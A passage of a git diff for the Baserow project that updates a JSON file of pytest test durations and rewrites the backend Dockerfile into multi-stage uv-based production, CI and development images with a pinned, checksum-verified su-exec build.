DD-%d %d %d]": 0.012649209005758166, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[DD-%d]": 0.014490167028270662, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[DD/MM/YYYY HH:mm:ss-%d/%m/%Y %H:%M:%S]": 0.012709584028925747, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[H-%-H]": 0.012734209012705833, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[H:m:s-%-H:%-M:%-S]": 0.012594792002346367, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[HH-%H]": 0.012628999014850706, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[HH:mm HH:mm-%H:%M %H:%M]": 0.012761084013618529, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[HH:mm:ss-%H:%M:%S]": 0.012660000997129828, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[M-%-m]": 0.014283250027801841, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MM-%m]": 0.013731916988035664, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MM-DD-YYYY-%m-%d-%Y]": 0.012701417988864705, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MMM-%b]": 0.014057541993679479, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MMMM D, YYYY-%B %-d, %Y]": 0.012677375023486093, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MMMM MMM MM M-%B %b %m %-m]": 0.012618832988664508, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[MMMM-%B]": 0.013196124986279756, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[SSS-%f]": 0.012585918040713295, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[YY-%y]": 0.013132791995303705, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[YYYY-%Y]": 0.013428500009467825, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[YYYY-MM-DD YYYY-%Y-%m-%d %Y]": 0.01262041600421071, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[YYYY-MM-DD-%Y-%m-%d]": 0.013291540992213413, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[YYYY-MM-DD[T]HH:mm:ss-%Y-%m-%d[T]%H:%M:%S]": 0.012682166008744389, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[a-%p]": 0.012719292048132047, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[ddd, MMM D, YYYY h:mm A-%a, %b %-d, %Y %-I:%M %p]": 0.012565166020067409, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[ddd-%a]": 0.012810542044462636, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[dddd-%A]": 0.016101332003017887, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[foo-foo]": 0.012603000970557332, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[h-%-I]": 0.01267750101396814, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[h:m A-%-I:%-M %p]": 0.012693291966570541, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[hh-%I]": 0.012690084025962278, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[hh:mm A-%I:%M %p]": 0.012712541007203981, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[m-%-M]": 0.012768960004905239, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[mm-%M]": 0.012733665993437171, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[s-%-S]": 0.01269966599647887, + "tests/baserow/core/utils/test_date.py::test_convert_date_format_moment_to_python[ss-%S]": 0.012626623996766284, + "tests/baserow/formula/test_python_executor.py::test_formula_function_does_not_exist": 0.012942041037604213, + "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data0]": 0.012739416008116677, + "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data1]": 0.013458332978188992, + "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data2]": 0.012698334001470357, + "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data3]": 0.012833583983592689, + "tests/baserow/formula/test_python_executor.py::test_invalid_formulas[test_data4]": 0.012666457972954959, + "tests/baserow/formula/test_python_executor.py::test_invalid_number_of_arguments": 0.012809125997591764, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data0]": 0.012982249987544492, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data1]": 0.012694041011855006, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data2]": 0.012880333990324289, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data3]": 0.012673207995248958, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data4]": 0.012883415998658165, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data5]": 0.012791956978617236, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data6]": 0.012855125009082258, + "tests/baserow/formula/test_python_executor.py::test_valid_formulas[test_data7]": 0.012966998998308554, + "tests/baserow/performance/test_asgi_concurrency_limit.py::test_asgi_concurrency_limit": 0.08597029096563347, + "tests/baserow/performance/test_asgi_concurrency_limit.py::test_asgi_concurrency_no_limit": 0.08144000000902452, + "tests/baserow/performance/test_field_performance.py::test_speed_of_table_copy": 0.00010991701856255531, + "tests/baserow/performance/test_field_performance.py::test_speed_of_table_copy_via_export": 7.462600478902459e-05, + "tests/baserow/performance/test_field_performance.py::test_updating_many_fields_doesnt_slow_down_get_rows": 7.908299448899925e-05, + "tests/baserow/performance/test_formula_performance.py::test_adding_a_formula_field_compared_to_normal_field_isnt_slow": 0.0001251250214409083, + "tests/baserow/performance/test_formula_performance.py::test_altering_very_nested_formula_field": 8.725002408027649e-05, + "tests/baserow/performance/test_formula_performance.py::test_creating_very_nested_formula_field": 8.387499838136137e-05, + "tests/baserow/performance/test_formula_performance.py::test_fanout": 8.104101289063692e-05, + "tests/baserow/performance/test_formula_performance.py::test_fanout_one_off": 0.00012237500050105155, + "tests/baserow/performance/test_formula_performance.py::test_getting_data_from_a_very_nested_formula_field": 8.295901352539659e-05, + "tests/baserow/performance/test_formula_performance.py::test_getting_data_from_normal_table": 8.845800766721368e-05, + "tests/baserow/performance/test_formula_performance.py::test_very_nested_formula_field_change": 8.716597221791744e-05, + "tests/baserow/performance/test_public_sharing_performance.py::test_creating_many_rows_in_public_filtered_views": 9.025001781992614e-05, + "tests/baserow/performance/test_public_sharing_performance.py::test_updating_many_rows_in_public_filtered_views": 8.141700527630746e-05, + "tests/baserow/performance/test_trash_performance.py::test_deleting_many_of_rows_is_fast": 0.00016649998724460602, + "tests/baserow/performance/test_view_performance.py::test_getting_rows_from_large_grid_view": 7.491698488593102e-05, + "tests/baserow/ws/test_ws_auth.py::test_get_user": 0.31926933297654614, + "tests/baserow/ws/test_ws_auth.py::test_token_auth_middleware": 0.3382649579725694, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_page_doesnt_exist": 0.25026429098215885, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_to_page_failure": 0.3457120829843916, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_add_to_page_success": 0.3292903330002446, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user0-exclude_user_ids0-True]": 0.25916304197744466, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user2-exclude_user_ids2-True]": 0.2573130830132868, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user4-exclude_user_ids4-False]": 0.2583405409823172, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[None-some_web_socket_id-user5-exclude_user_ids5-False]": 0.2550978329963982, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-another_web_socket_id-user1-exclude_user_ids1-True]": 0.24402812498738058, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-another_web_socket_id-user6-exclude_user_ids6-False]": 0.2583340010023676, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_broadcast_to_group[some_web_socket_id-some_web_socket_id-user3-exclude_user_ids3-False]": 0.24750237399712205, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_authenticated": 0.3323221249738708, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_authenticated_anonymous": 0.32010241600801237, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_connect_not_authenticated": 0.26123579099657945, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_all_page_scopes": 0.3220724590064492, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_page_doesnt_exist": 0.2631915830424987, + "tests/baserow/ws/test_ws_consumers.py::test_core_consumer_remove_page_success": 0.32688375102588907, + "tests/baserow/ws/test_ws_consumers.py::test_get_page_context": 0.33390108396997675, + "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_adds_page_without_duplicates": 0.020221415994456038, + "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_has_pages_with_permission_group": 0.012839208007790148, + "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_is_page_in_permission_group": 0.012693915981799364, + "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_removes_pages_by_parameters": 0.015700582967838272, + "tests/baserow/ws/test_ws_consumers.py::test_subscribed_pages_removes_pages_without_error": 0.013279791019158438, "tests/baserow/ws/test_ws_pages.py::test_join_page": 1.137358408999944, "tests/baserow/ws/test_ws_pages.py::test_join_page_as_anonymous_user": 1.3196249449999868, "tests/baserow/ws/test_ws_registries.py::test_broadcast": 0.01062401699982729, - "tests/baserow/ws/test_ws_signals.py::test_application_created": 0.3551552500002799, - "tests/baserow/ws/test_ws_signals.py::test_application_deleted": 0.31786949999968783, - "tests/baserow/ws/test_ws_signals.py::test_application_updated": 0.3248311259994807, - "tests/baserow/ws/test_ws_signals.py::test_applications_reordered": 0.3107757510006195, - "tests/baserow/ws/test_ws_signals.py::test_cancel_user_deletion": 0.30766366699936043, - "tests/baserow/ws/test_ws_signals.py::test_duplicate_application": 0.310230333000618, + "tests/baserow/ws/test_ws_signals.py::test_application_created": 0.32617029201355763, + "tests/baserow/ws/test_ws_signals.py::test_application_deleted": 0.32005220802966505, + "tests/baserow/ws/test_ws_signals.py::test_application_updated": 0.32724533302825876, + "tests/baserow/ws/test_ws_signals.py::test_applications_reordered": 0.337750206963392, + "tests/baserow/ws/test_ws_signals.py::test_cancel_user_deletion": 0.3324469990329817, + "tests/baserow/ws/test_ws_signals.py::test_duplicate_application": 0.3488359170150943, "tests/baserow/ws/test_ws_signals.py::test_group_created": 0.71192810499997, "tests/baserow/ws/test_ws_signals.py::test_group_deleted": 0.7004576990038913, "tests/baserow/ws/test_ws_signals.py::test_group_restored": 0.8125640660000499, @@ -5730,26 +9980,29 @@ "tests/baserow/ws/test_ws_signals.py::test_group_user_deleted": 0.7867158979970554, "tests/baserow/ws/test_ws_signals.py::test_group_user_updated": 0.7418436790030682, "tests/baserow/ws/test_ws_signals.py::test_groups_reordered": 0.6808229999987816, - "tests/baserow/ws/test_ws_signals.py::test_schedule_user_deletion": 0.5395646250008213, - "tests/baserow/ws/test_ws_signals.py::test_user_leaves_workspace": 0.452880499999992, - "tests/baserow/ws/test_ws_signals.py::test_user_password_changed": 0.5640999590004867, - "tests/baserow/ws/test_ws_signals.py::test_user_permanently_deleted": 0.34982995899918023, - "tests/baserow/ws/test_ws_signals.py::test_user_updated_name": 0.32221312599904195, - "tests/baserow/ws/test_ws_signals.py::test_workspace_created": 0.30951187599930563, - "tests/baserow/ws/test_ws_signals.py::test_workspace_deleted": 0.3142775000005713, - "tests/baserow/ws/test_ws_signals.py::test_workspace_restored": 0.5791477500006295, - "tests/baserow/ws/test_ws_signals.py::test_workspace_updated": 0.318769125999097, - "tests/baserow/ws/test_ws_signals.py::test_workspace_user_added": 0.5778131249999205, - "tests/baserow/ws/test_ws_signals.py::test_workspace_user_deleted": 0.442908375001025, - "tests/baserow/ws/test_ws_signals.py::test_workspace_user_updated": 0.4448709999987841, - "tests/baserow/ws/test_ws_signals.py::test_workspaces_reordered": 0.31772641699990345, - "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_channel_group": 1.4783911680005986, + "tests/baserow/ws/test_ws_signals.py::test_job_started": 0.34926053998060524, + "tests/baserow/ws/test_ws_signals.py::test_schedule_user_deletion": 0.34900591702898964, + "tests/baserow/ws/test_ws_signals.py::test_user_leaves_workspace": 0.3944447090034373, + "tests/baserow/ws/test_ws_signals.py::test_user_password_changed": 0.5057562500005588, + "tests/baserow/ws/test_ws_signals.py::test_user_permanently_deleted": 0.37929004203760996, + "tests/baserow/ws/test_ws_signals.py::test_user_updated_name": 0.3238720830413513, + "tests/baserow/ws/test_ws_signals.py::test_workspace_created": 0.3203480829834007, + "tests/baserow/ws/test_ws_signals.py::test_workspace_deleted": 0.34093391595524736, + "tests/baserow/ws/test_ws_signals.py::test_workspace_restored": 0.5406380830099806, + "tests/baserow/ws/test_ws_signals.py::test_workspace_updated": 0.3270228340115864, + "tests/baserow/ws/test_ws_signals.py::test_workspace_user_added": 0.5197737909911666, + "tests/baserow/ws/test_ws_signals.py::test_workspace_user_deleted": 0.41189158300403506, + "tests/baserow/ws/test_ws_signals.py::test_workspace_user_updated": 0.3976623750058934, + "tests/baserow/ws/test_ws_signals.py::test_workspaces_reordered": 0.32680670797708444, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_application_created_does_not_fail_for_trashed_applications": 0.020087084005353972, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_channel_group": 1.5589646660373546, "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_group": 1.385119996000867, - "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_users": 0.6679904180000449, - "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_users_individual_payloads": 0.6676948340000308, - "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_workspace": 1.326731542001653, - "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_workspaces": 1.2390596249997543, - "tests/baserow/ws/test_ws_tasks.py::test_can_broadcast_to_every_single_user": 0.5727944170002957, - "tests/baserow/ws/test_ws_tasks.py::test_can_still_ignore_when_sending_to_all_users": 0.5594584989994473, - "tests/baserow/ws/test_ws_tasks.py::test_force_disconnect_users": 0.5672368340001412 + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_permitted_users_does_not_fail_for_trashed_objects": 0.10651512598269619, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_users": 0.6641587070189416, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_users_individual_payloads": 0.6655145419936161, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_workspace": 1.1643447070091497, + "tests/baserow/ws/test_ws_tasks.py::test_broadcast_to_workspaces": 1.107137209008215, + "tests/baserow/ws/test_ws_tasks.py::test_can_broadcast_to_every_single_user": 0.5588217920158058, + "tests/baserow/ws/test_ws_tasks.py::test_can_still_ignore_when_sending_to_all_users": 0.559788042010041, + "tests/baserow/ws/test_ws_tasks.py::test_force_disconnect_users": 0.5715217500110157 } \ No newline at end of file diff --git a/backend/Dockerfile b/backend/Dockerfile index a1aed0b6fb..dec2e55731 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -1,140 +1,369 @@ -# syntax = docker/dockerfile:1.3 -FROM debian:bookworm-slim AS base +# syntax=docker/dockerfile:1.4 +ARG UID="9999" +ARG GID="9999" +# ============================================================================= +# Builder for su-exec (replaces gosu, safer with smaller footprint) +# Pinned to v0.2 (commit 212b75144bbc) with SHA256 verification +# ============================================================================= +FROM debian:bookworm-slim AS tool-builder + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV SU_EXEC_VERSION=212b75144bbc06722fbd7661f651390dc47a43d1 \ + SU_EXEC_SHA256=d6c40440609a23483f12eb6295b5191e94baf08298a856bab6e15b10c3b82891 + +# hadolint ignore=DL3008 +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y --no-install-recommends ca-certificates curl build-essential dos2unix tini && \ + curl -fsSL -o /usr/local/bin/su-exec.c "https://github.com/ncopa/su-exec/raw/${SU_EXEC_VERSION}/su-exec.c" && \ + echo "${SU_EXEC_SHA256} /usr/local/bin/su-exec.c" | sha256sum -c - && \ + gcc -Wall -Werror -static -o /usr/local/bin/su-exec /usr/local/bin/su-exec.c && \ + chmod 0755 /usr/local/bin/su-exec + + +# ============================================================================= +# Production base builder stage: builds runtime dependencies only +# ============================================================================= +FROM ghcr.io/astral-sh/uv:python3.11-bookworm-slim AS builder-prod-base ARG UID -ENV UID=${UID:-9999} ARG GID -ENV GID=${GID:-9999} -SHELL ["/bin/bash", "-o", "pipefail", "-c"] +# Runtime dependencies only - this layer is always cached +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y --no-install-recommends \ + build-essential + +ENV UV_PYTHON_DOWNLOADS=0 \ + UV_COMPILE_BYTECODE=1 \ + UV_LINK_MODE=copy \ + UV_PROJECT_ENVIRONMENT=/baserow/venv \ + UV_CACHE_DIR=/tmp/baserow_uv_cache \ + UV_VERBOSE=1 \ + PYTHONUNBUFFERED=1 \ + PATH="/baserow/venv/bin:$PATH" \ + PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src" + +# Create baserow directory structure (including subdirs for COPY targets) +RUN mkdir -p /baserow/ && chown -R $UID:$GID /baserow/ + +USER $UID:$GID +WORKDIR /baserow/backend + +RUN --mount=type=cache,target=$UV_CACHE_DIR,sharing=locked,uid=$UID,gid=$GID \ + --mount=type=bind,source=LICENSE,target=/baserow/LICENSE \ + --mount=type=bind,source=backend/uv.lock,target=/baserow/backend/uv.lock \ + --mount=type=bind,source=backend/pyproject.toml,target=/baserow/backend/pyproject.toml \ + --mount=type=bind,source=premium/LICENSE,target=/baserow/premium/LICENSE \ + --mount=type=bind,source=premium/backend/pyproject.toml,target=/baserow/premium/backend/pyproject.toml \ + --mount=type=bind,source=enterprise/LICENSE,target=/baserow/enterprise/LICENSE \ + --mount=type=bind,source=enterprise/backend/pyproject.toml,target=/baserow/enterprise/backend/pyproject.toml \ + uv sync --frozen --no-dev --no-install-workspace --no-install-project \ + && find /baserow/venv -type f \( -name "*.c" -o -name "*.h" \) -not -path "*/autobahn/*" -delete \ + # Strip test/doc directories from site-packages (keep django/drf tests - used at runtime) + # Keep botocore/docs and boto3/docs - they're imported at runtime + && (find /baserow/venv/lib -type d \( -name "test" -o -name "tests" \) \ + -not -path "*/django/*" -not -path "*/rest_framework/*" -prune -exec rm -rf {} \; || true) \ + && (find /baserow/venv/lib -type d \( -name "doc" -o -name "docs" -o -name "example" -o -name "examples" \) \ + -not -path "*/botocore/*" -not -path "*/boto3/*" -prune -exec rm -rf {} \; || true) + + +# ============================================================================= +# CI Builder - includes dev dependencies for testing +# ============================================================================= +FROM builder-prod-base AS builder-ci +ARG UID +ARG GID + +USER $UID:$GID +WORKDIR /baserow/backend + +# Install dev dependencies before copying source code to leverage caching +RUN --mount=type=cache,target=$UV_CACHE_DIR,sharing=locked,uid=$UID,gid=$GID \ + --mount=type=bind,source=LICENSE,target=/baserow/LICENSE \ + --mount=type=bind,source=backend/uv.lock,target=/baserow/backend/uv.lock \ + --mount=type=bind,source=backend/pyproject.toml,target=/baserow/backend/pyproject.toml \ + --mount=type=bind,source=premium/LICENSE,target=/baserow/premium/LICENSE \ + --mount=type=bind,source=premium/backend/pyproject.toml,target=/baserow/premium/backend/pyproject.toml \ + --mount=type=bind,source=enterprise/LICENSE,target=/baserow/enterprise/LICENSE \ + --mount=type=bind,source=enterprise/backend/pyproject.toml,target=/baserow/enterprise/backend/pyproject.toml \ + uv sync --frozen --no-install-workspace --no-install-project \ + && find /baserow/venv -type f \( -name "*.c" -o -name "*.h" \) -not -path "*/autobahn/*" -delete \ + # Strip test/doc directories from site-packages (keep django/drf tests - used at runtime) + # Keep botocore/docs and boto3/docs - they're imported at runtime + && (find /baserow/venv/lib -type d \( -name "test" -o -name "tests" \) \ + -not -path "*/django/*" -not -path "*/rest_framework/*" -prune -exec rm -rf {} \; || true) \ + && (find /baserow/venv/lib -type d \( -name "doc" -o -name "docs" -o -name "example" -o -name "examples" \) \ + -not -path "*/botocore/*" -not -path "*/boto3/*" -prune -exec rm -rf {} \; || true) + +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix + +# Copy source code and tests +COPY --chown=$UID:$GID LICENSE /baserow/LICENSE +COPY --chown=$UID:$GID backend /baserow/backend + +COPY --chown=$UID:$GID premium/LICENSE /baserow/premium/LICENSE +COPY --chown=$UID:$GID premium/backend /baserow/premium/backend + +COPY --chown=$UID:$GID enterprise/LICENSE /baserow/enterprise/LICENSE +COPY --chown=$UID:$GID enterprise/backend /baserow/enterprise/backend + +COPY --chown=$UID:$GID tests /baserow/tests + +USER $UID:$GID +WORKDIR /baserow/backend + +RUN dos2unix /baserow/backend/docker/docker-entrypoint.sh \ + && chmod a+x /baserow/backend/docker/docker-entrypoint.sh + +# Install the project with premium and enterprise plugins +RUN --mount=type=cache,target=$UV_CACHE_DIR,sharing=locked,uid=$UID,gid=$GID \ + uv sync --frozen \ + && find /baserow/venv -type f \( -name "*.c" -o -name "*.h" \) -not -path "*/autobahn/*" -delete \ + # Strip test/doc directories from site-packages (keep django/drf tests - used at runtime) + # Keep botocore/docs and boto3/docs - they're imported at runtime + && (find /baserow/venv/lib -type d \( -name "test" -o -name "tests" \) \ + -not -path "*/django/*" -not -path "*/rest_framework/*" -prune -exec rm -rf {} \; || true) \ + && (find /baserow/venv/lib -type d \( -name "doc" -o -name "docs" -o -name "example" -o -name "examples" \) \ + -not -path "*/botocore/*" -not -path "*/boto3/*" -prune -exec rm -rf {} \; || true) + +# ============================================================================= +# Production builder stage - creates runtime packages only +# ============================================================================= +FROM builder-prod-base AS builder-prod +ARG UID +ARG GID + +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix + +USER $UID:$GID +WORKDIR /baserow/backend + +# Copy source code +COPY --chown=$UID:$GID LICENSE /baserow/LICENSE +COPY --chown=$UID:$GID backend /baserow/backend + +COPY --chown=$UID:$GID premium/LICENSE /baserow/premium/LICENSE +COPY --chown=$UID:$GID premium/backend /baserow/premium/backend + +COPY --chown=$UID:$GID enterprise/LICENSE /baserow/enterprise/LICENSE +COPY --chown=$UID:$GID enterprise/backend /baserow/enterprise/backend + +RUN dos2unix /baserow/backend/docker/docker-entrypoint.sh \ + && chmod a+x /baserow/backend/docker/docker-entrypoint.sh + +# Install the project with premium and enterprise workspaces, removing tests and unneeded files +RUN --mount=type=cache,target=$UV_CACHE_DIR,sharing=locked,uid=$UID,gid=$GID \ + uv sync --frozen --no-dev \ + && find /baserow/venv -type f \( -name "*.c" -o -name "*.h" \) -not -path "*/autobahn/*" -delete \ + # Strip test/doc directories from site-packages (keep django/drf tests - used at runtime) + # Keep botocore/docs and boto3/docs - they're imported at runtime + && (find /baserow/ -type d \( -name "test" -o -name "tests" -o -name "email_compiler" \) \ + -not -path "*/django/*" -not -path "*/rest_framework/*" -prune -exec rm -rf {} \; || true) \ + && (find /baserow/ -type d \( -name "doc" -o -name "docs" -o -name "example" -o -name "examples" \) \ + -not -path "*/botocore/*" -not -path "*/boto3/*" -prune -exec rm -rf {} \; || true) + + +# ============================================================================= +# CI Target - lightweight image for pytest and E2E tests +# ============================================================================= +FROM ghcr.io/astral-sh/uv:python3.11-bookworm-slim AS ci +ARG UID +ARG GID + +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y --no-install-recommends \ + xmlsec1 + +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="backend" \ + PYTHONUNBUFFERED=1 \ + UV_PROJECT_ENVIRONMENT=/baserow/venv \ + UV_CACHE_DIR=/tmp/baserow_uv_cache \ + PATH="/baserow/venv/bin:$PATH" \ + PYTHONPATH="/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src:/baserow/backend/tests:/baserow/premium/backend/tests:/baserow/enterprise/backend/tests" \ + DJANGO_SETTINGS_MODULE='baserow.config.settings.test' + +RUN groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -l -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} + +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini + +# Create baserow directory structure (including subdirs for COPY targets) +RUN mkdir -p /baserow/backend/reports /baserow/premium/backend /baserow/enterprise/backend /baserow/media && \ + chown -R $UID:$GID /baserow/ + +# Copy the virtual environment and source code with tests +COPY --link --from=builder-ci /baserow /baserow +COPY --chown=$UID:$GID deploy/plugins/*.sh /baserow/plugins/ + +USER $UID:$GID +WORKDIR /baserow/backend +ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/backend/docker/docker-entrypoint.sh"] -# We might be running as a user which already exists in this image. In that situation -# Everything is OK and we should just continue on. -RUN groupadd -g $GID baserow_docker_group || exit 0 -RUN useradd --shell /bin/bash -u $UID -g $GID -o -c "" -m baserow_docker_user -l || exit 0 -ENV DOCKER_USER=baserow_docker_user -ENV POSTGRES_VERSION=15 -ENV BASEROW_IMAGE_TYPE="backend" -# hadolint ignore=DL3013 -RUN apt-get update && \ +# ============================================================================= +# Dev image: includes dev dependencies and tools for local development +# Only works mounting the source code as a bind mount. See docker-compose.dev.yml for usage. +# ============================================================================= + +FROM ghcr.io/astral-sh/uv:python3.11-bookworm-slim AS dev +ARG UID="9999" +ARG GID="9999" + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +# Build dependencies - this layer is always cached +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ apt-get upgrade -y && \ apt-get install -y --no-install-recommends \ build-essential \ - lsb-release \ + python3.11-dev \ ca-certificates \ + postgresql-client-15 \ + xmlsec1 \ curl \ - gnupg2 \ - libpq-dev \ - dos2unix \ - tini \ - && \ - # Postgresql repository has to be added manually to get pre-13 versions. - echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list && \ - curl -fsSL https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - \ - && \ - apt-get update && \ - apt-get install --no-install-recommends -y \ - postgresql-client-$POSTGRES_VERSION \ - gettext \ + graphviz \ procps \ - python3 \ - python3-pip \ - python3-dev \ - python3-venv\ - git \ - xmlsec1 \ - && python3 -m pip install --no-cache-dir --upgrade pip setuptools==78.1.1 --break-system-packages \ - && rm -rf /usr/lib/python3/dist-packages/setuptools* /usr/lib/python3/dist-packages/pkg_resources* \ - && apt-get autoclean \ - && apt-get clean \ - && apt-get autoremove \ - && rm -rf /var/lib/apt/lists/* - -# Install su-exec as a safer alternative to gosu -RUN curl -L -o /usr/local/bin/su-exec.c https://github.com/ncopa/su-exec/raw/master/su-exec.c \ - && gcc -Wall -Werror -static -o /usr/local/bin/su-exec /usr/local/bin/su-exec.c \ - && chmod 0755 /usr/local/bin/su-exec \ - && rm /usr/local/bin/su-exec.c + tmux \ + vim \ + sudo -USER $UID:$GID +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="backend" \ + UV_PYTHON_DOWNLOADS=0 \ + UV_COMPILE_BYTECODE=0 \ + UV_LINK_MODE=copy \ + UV_PROJECT_ENVIRONMENT=/baserow/venv \ + UV_CACHE_DIR=/tmp/baserow_uv_cache_dev \ + PYTHONUNBUFFERED=1 \ + PATH=/baserow/venv/bin:$PATH \ + PYTHONPATH=/baserow/backend/src:/baserow/premium/backend/src:/baserow/enterprise/backend/src:/baserow/backend/tests:/baserow/premium/backend/tests:/baserow/enterprise/backend/tests \ + DJANGO_SETTINGS_MODULE=baserow.config.settings.dev -# In slim docker images, mime.types is removed and we need it for mimetypes guessing -COPY --chown=$UID:$GID ./backend/docker/mime.types /etc/ - -# Install non-dev base dependencies into a virtual env. -COPY --chown=$UID:$GID ./backend/requirements/base.txt /baserow/requirements/ -RUN python3 -m venv /baserow/venv - -ENV PIP_CACHE_DIR=/tmp/baserow_pip_cache -# hadolint ignore=SC1091,DL3042,DL3013 -RUN --mount=type=cache,mode=777,target=$PIP_CACHE_DIR,uid=$UID,gid=$GID . /baserow/venv/bin/activate \ - && pip3 install --no-cache-dir --upgrade pip setuptools==78.1.1 \ - && pip3 install --no-compile -r /baserow/requirements/base.txt \ - && find /baserow/venv -type d -name "__pycache__" -prune -exec rm -rf '{}' + \ - && find /baserow/venv -type f \( -name "*.pyc" -o -name "*.pyo" \) -delete \ - && find /baserow/venv -type f \( -name "*.c" -o -name "*.h" \) -delete - -# 